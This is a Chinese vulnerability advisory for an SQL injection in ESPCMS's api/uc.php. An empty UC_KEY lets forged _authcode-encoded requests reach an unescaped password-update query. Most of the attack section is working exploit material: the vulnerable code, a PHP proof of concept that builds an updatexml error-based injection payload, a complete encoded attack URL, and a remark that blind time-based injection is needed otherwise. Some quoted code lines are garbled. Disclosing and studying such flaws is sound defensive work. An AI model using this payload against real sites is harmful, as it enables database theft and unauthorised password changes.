- 发布时间:2016-08-10
- 公开时间:N/A
- 漏洞类型:SQL注入
- 危害等级:高
- 漏洞编号:xianzhi-2016-08-37732301
- 测试版本:N/A
漏洞详情
安装时未初始化uc导致注入
api/uc.php
$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if (MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}
$timestamp = time();
…………
$action = $get['action'];
…………
if (in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
include_once DISCUZ_ROOT2 . 'datacache/public.php';
require_once DISCUZ_ROOT . './class_dbMysql.php';
$GLOBALS['db'] = new dbmysql();
$GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);
$GLOBALS['tablepre'] = db_prefix;
$uc_note = new uc_note();
$turecode = $uc_note->$get'action';
exit($uc_note->$get'action');
…………
function updatepw($get, $post) {
if (!API_UPDATEPW) {
return API_RETURN_FORBIDDEN;
}
$username = $get['username'];
$password = $get['password'];
$newpw = md5($password);
$this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
return API_RETURN_SUCCEED;
}
流程是 $code->$get->$username;
UC_KEY的定义在 public/uc_config.php
define('UC_KEY', \$CONFIG['mem_uckey']);
$CONFIG['mem_uckey']在datacache/command.php
'mem_uckey'=>'',
所以UC_KEY的值就是'' 所以就能自己构造任意的值来被_authcode解密最终进入sql执行
poc如下
<?php
$timestamp = time()+10*3600;
$str = "time=$timestamp&action=updatepw&password=123&username=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#";
echo urlencode(_authcode($str,'ENCODE'));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
…………省略…………
}
这里为了方便演示开启了datacache/public.php中的db_sql和db_err选项 可以直接看到注入结果,
实际测试中默认关闭这两个选项所以需要延时注入。
访问http://192.168.1.170/espcms/api/uc.php?code=e06bFQG%2B5HM2KmutQthfoGFLlNpfo0TY7UkXxa3gXlWoSSlCg1ZeDUccbKjwS4mkiDOv9RoSGZhQKi8SfDCsyWKZ8UqYmHCpe17LrW%2FNNG5DpuUrudZHVVJxTV9YLgK3yNQGs4pef1e4CCwNA2AbT7Y06dqgIsvkqHWrmXjr%2BA82IrAjrVAUig9I9%2FsnWA
结果如图
网友评论